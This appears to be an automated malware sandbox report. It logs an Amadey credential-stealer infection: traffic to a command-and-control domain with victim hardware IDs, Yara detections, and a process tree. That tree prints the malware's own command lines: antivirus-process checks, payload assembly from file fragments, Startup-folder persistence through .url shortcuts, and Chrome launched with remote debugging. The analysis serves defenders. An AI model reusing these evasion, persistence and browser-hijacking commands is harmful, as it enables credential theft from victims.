2024-11-24 11:26:06 UTC	15331	OUT	Data Raw: b0 b7 fe f9 17 58 7e 8a 1e 03 dd 9d 74 7e 39 4a a7 7d 27 b2 c2 24 07 37 07 81 32 f8 f8 0a df 56 5c 29 a2 9b 13 0d 47 a7 0a a6 7d 8b 84 d6 8a 57 ba 24 40 dc 01 15 3f 29 73 7b e0 21 07 86 3c 8c 86 96 88 34 37 7f bb fe ec 61 59 02 3f 70 41 dc 34 e9 18 a9 53 33 f0 0b 34 60 62 eb 72 0b 4b bc ca f3 66 48 65 60 c6 0a b7 ea 6a 06 6e 16 ce c5 c8 60 b7 39 0b 86 02 16 b8 08 22 ee 3c 92 07 61 70 f2 81 9c 5f 47 d4 03 8d 38 01 63 85 5d 46 e6 93 d6 d7 e6 a9 0f 04 c9 db 9f 89 4f a3 7c 9b 0b f1 1d eb 78 7e 18 1d 41 1a 5d 7c 53 4c 9e 94 03 71 78 af 34 f1 52 ee df 02 0e b9 bf db 47 da cd 47 f2 79 4f 7f b2 3d 35 19 d4 12 63 50 f2 f4 23 5d ac 81 3c 3f dd 37 ff 40 d9 7c 96 e1 56 c9 9e ae 1e 3d 23 22 87 dd 38 80 b3 fe 6a 5f b0 46 97 93 6e f3 0c 98 4b 00 ee 89 0a 21 da 6a 55 52 Data Ascii: X~t~9J}'$72V\)G}W$@?)s{!<47aY?pA4S34`brKfHe`jn`9"<ap_G8c]FO\|x~A]\|SLqx4RGGyO=5cP#]<?7@\|V=#"8j_FnK!jUR
2024-11-24 11:26:06 UTC	15331	OUT	Data Raw: 32 f5 16 4e 55 76 5f bc ea c5 f4 e3 e9 6f 37 7b 3a f0 19 6b 96 02 15 f5 1e ca 58 30 43 ce 2d 2e df f1 3c 86 9d 3d bf 04 b8 05 12 86 ba 77 41 63 0f 06 3e f7 24 e0 07 3f df 54 df ba 77 b3 5a e7 f2 48 b6 98 42 8d eb 94 99 25 71 6a ae 78 77 e0 13 3e 64 0a 89 0f d9 2a 14 16 b8 02 b7 e8 e9 f9 32 9c e4 d0 a8 b6 8c 63 06 3c ae df be fd ca 7a 84 55 0e 95 8c de b7 a8 3c 83 54 c7 cc 43 df 54 b9 b3 92 0f ba d3 b0 f7 19 4a fe e3 3c de 34 be d3 17 07 9e b2 5f ad d4 76 d4 71 4a 7a 2b b0 c0 d9 b2 b0 6d f0 88 bd 05 5f 0d ae 72 44 7b 76 59 63 b2 6a 17 dc 87 38 06 2e 11 57 9b 2e c1 15 f2 ef 78 75 db 94 2a 3b 16 a3 70 0a a8 25 2e 49 2f 73 ad b8 a4 4a 1b af 6e 8b 7c 27 27 f7 81 8e a8 5a 56 0d d7 fa 5f 45 c2 dd c7 cc 7e fd 52 1f 77 63 03 58 9d d8 9b a1 bb a2 98 0d 29 a6 01 6b Data Ascii: 2NUv_o7{:kX0C-.<=wAc>$?TwZHB%qjxw>d2c<zU<TCTJ<4_vqJz+m_rD{vYcj8.W.xu;p%.I/sJn\|''ZV_E~RwcX)k
2024-11-24 11:26:06 UTC	3012	OUT	Data Raw: ca 14 14 61 02 64 38 68 0d 1b 24 fa 47 79 0a c7 aa 3f 4c 17 51 bd 99 5e 74 6c 0d b6 70 05 82 b1 e4 6b f2 8d d7 91 49 cd 72 10 14 24 c6 15 f8 ef a2 75 15 43 1e eb c7 68 a6 da 96 72 a9 93 16 2b bf 13 dc e6 9f db 17 cf 10 e8 57 b0 5a d5 94 a8 bc cb 41 54 2d ff ad a3 14 dd 5a ee b8 dd a2 70 93 03 36 b2 1a b5 fe ce 42 a8 86 fd ac 09 07 a6 f5 f8 0f 13 c9 4b a4 b7 48 e2 d4 c8 50 c3 56 6e a9 df fc e6 6c 51 e8 d1 24 c9 50 9f e1 b2 17 0d 6b 54 61 35 8f 16 bb 74 ff 61 f3 b7 27 61 e9 24 c2 27 71 7a 8f ea 58 05 fd 45 7f 9f e9 e1 a0 3d 89 fe db e2 b7 f3 89 6f ba d5 0c 1b c3 9e a6 b5 db f8 e5 8a a8 cd 1f 9d 08 98 d9 6c 28 c4 da c1 03 7e 11 aa b7 57 32 5d 7a 4c 74 6f 2b 33 60 03 c8 54 44 ed 7e c8 9e b3 a2 66 68 85 d2 64 40 86 f4 52 9f 54 3f 66 89 e1 bb ad 1b 03 46 e5 be Data Ascii: ad8h$Gy?LQ^tlpkIr$uChr+WZAT-Zp6BKHPVnlQ$PkTa5ta'a$'qzXE=ol(~W2]zLto+3`TD~fhd@RT?fF
2024-11-24 11:26:07 UTC	1024	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mco54e9mlt31apek48j8305v95; expires=Thu, 20-Mar-2025 05:12:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n%2BAkyXj1foHDfz%2BHL%2BOmQwtcoyvmOduKsFsPV61FOPJi8WNpTq6ZShLvNz7zBCLkqBH2%2BL1%2FiUFUTMbNktH3J3pATYHBPCIKi1KIvm7Men3kWQecik1cfoYSgXdcqzgibwq%2FwCg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790aca9bfdc47a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&sent=32&recv=54&lost=0&retrans=0&sent_bytes=2845&recv_bytes=50056&delivery_rate=1687861&cwnd=241&unsent_bytes=0&cid=cdf7f3763d8a895f&ts=1140&x=0"
2024-11-24 11:26:07 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:26:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50091	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:26:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 11:26:08 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9FA9CFCCE9F1ADD2D7CBBD6DF28D3732
2024-11-24 11:26:09 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6qr9ke4tvg48n1fo9io2q40c5n; expires=Thu, 20-Mar-2025 05:12:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2BnuSNGipdJ%2BHrMZwgB5S6P80hZemxAyQWD%2Fa034hlwN9JgiwDg9V4kF5%2FU09pq2nGnpbZHhyczpIWVJ0rGP5XVtSNNcJg1zfI1skcQasoRvN82iIq%2FBWCuaeortMrh3t9bgiAA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790ada3a21de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1666&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1728833&cwnd=225&unsent_bytes=0&cid=d0856b21ad4cbb9f&ts=730&x=0"
2024-11-24 11:26:09 UTC	214	IN	Data Raw: 64 30 0d 0a 77 65 61 39 5a 52 79 50 79 33 62 41 50 4a 30 76 67 52 69 4f 47 70 30 75 50 6e 56 55 46 30 74 36 46 4c 49 73 6c 66 73 42 77 55 61 61 6e 5a 38 51 50 72 58 70 48 72 52 49 37 52 58 64 4e 39 49 31 72 42 59 4c 57 32 59 6d 66 6c 51 6c 67 78 2b 37 79 6a 65 64 61 61 36 41 32 7a 6b 7a 36 36 34 51 37 6c 6e 6c 53 71 4d 30 72 48 7a 70 44 41 52 46 65 44 55 75 57 43 36 44 55 62 6d 41 49 37 52 6b 2b 38 54 56 45 57 6a 2f 38 53 72 76 59 4c 49 65 75 53 32 67 4b 4b 77 62 45 45 52 6c 4a 47 56 4c 49 75 34 44 35 6f 39 6b 6f 43 75 64 79 63 38 45 63 75 75 6b 47 2b 35 5a 35 55 71 6a 4e 4b 78 38 36 51 77 45 52 58 67 31 4c 6c 67 75 67 6c 48 49 0d 0a Data Ascii: d0wea9ZRyPy3bAPJ0vgRiOGp0uPnVUF0t6FLIslfsBwUaanZ8QPrXpHrRI7RXdN9I1rBYLW2YmflQlgx+7yjedaa6A2zkz664Q7lnlSqM0rHzpDARFeDUuWC6DUbmAI7Rk+8TVEWj/8SrvYLIeuS2gKKwbEERlJGVLIu4D5o9koCudyc8EcuukG+5Z5UqjNKx86QwERXg1LlguglHI
2024-11-24 11:26:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:22:56
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa0000
File size:	1'873'920 bytes
MD5 hash:	AE5752FEE54CAF5584F6EABA06A5AC69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1671475529.0000000004860000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1715277761.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:22:59
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x690000
File size:	1'873'920 bytes
MD5 hash:	AE5752FEE54CAF5584F6EABA06A5AC69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1758282576.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1717577963.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:23:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x690000
File size:	1'873'920 bytes
MD5 hash:	AE5752FEE54CAF5584F6EABA06A5AC69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1719275653.0000000004870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1759668971.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:24:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x690000
File size:	1'873'920 bytes
MD5 hash:	AE5752FEE54CAF5584F6EABA06A5AC69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2315217142.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:24:18
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe"
Imagebase:	0x420000
File size:	4'380'672 bytes
MD5 hash:	6F3ABF72B45579AD895E717F3725D31D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	06:24:30
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe"
Imagebase:	0x400000
File size:	4'299'783 bytes
MD5 hash:	0155DBE368F2BBB8E0950A8C653D684D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:24:31
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:24:31
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff776070000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:24:33
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x3b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:24:33
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xc90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:24:34
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x3b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:24:34
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xc90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:24:34
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 662510
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:24:34
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Cameras + ..\Webmaster + ..\Contained + ..\More + ..\Wow + ..\Kg + ..\Love + ..\Parameter + ..\Dallas + ..\Falls + ..\Principal + ..\Tft + ..\Enabling + ..\Id + ..\Raise + ..\Tests + ..\Fw + ..\Dist + ..\Optimum + ..\Editor + ..\Lady + ..\William + ..\Myers + ..\Distribution + ..\All + ..\Republicans + ..\Candidates + ..\Blond + ..\Bermuda + ..\Tablets + ..\Defend + ..\Statement + ..\Streams + ..\Extensive + ..\Ecommerce + ..\Tourist + ..\Transsexual + ..\Participation + ..\Strange + ..\Remedy + ..\Thursday + ..\Client + ..\Courts + ..\Malta + ..\Mel + ..\Quantitative A
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:24:34
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\662510\Ryan.com
Wow64 process (32bit):	false
Commandline:	Ryan.com A
Imagebase:	0x7ff6d8410000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:24:35
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x850000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:24:36
Start date:	24/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & echo URL="C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & exit
Imagebase:	0x7ff680080000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:24:36
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:24:38
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe"
Imagebase:	0x400000
File size:	1'245'183 bytes
MD5 hash:	C938C02A19091A3ACD044001631692C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 11%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:24:38
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:24:38
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:24:44
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x3b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:24:44
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xc90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:24:45
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x3b0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:24:45
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xc90000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:24:45
Start date:	24/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js"
Imagebase:	0x7ff7aec50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:24:45
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr" "C:\Users\user\AppData\Local\GuardTech Solutions\K"
Imagebase:	0x7ff618300000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:24:47
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"
Imagebase:	0x80000
File size:	1'867'776 bytes
MD5 hash:	C7FFD9F68AF166BC332AD19BE70C3B5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2880963508.00000000014D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3134050190.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3006254804.00000000014D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3101184514.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3133753282.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2936457568.00000000014D2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3101013930.00000000014D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.2880169055.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:24:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 768032
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:24:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:24:52
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
Wow64 process (32bit):	true
Commandline:	Finish.com G
Imagebase:	0xd80000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	06:24:52
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x850000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:24:54
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:24:55
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
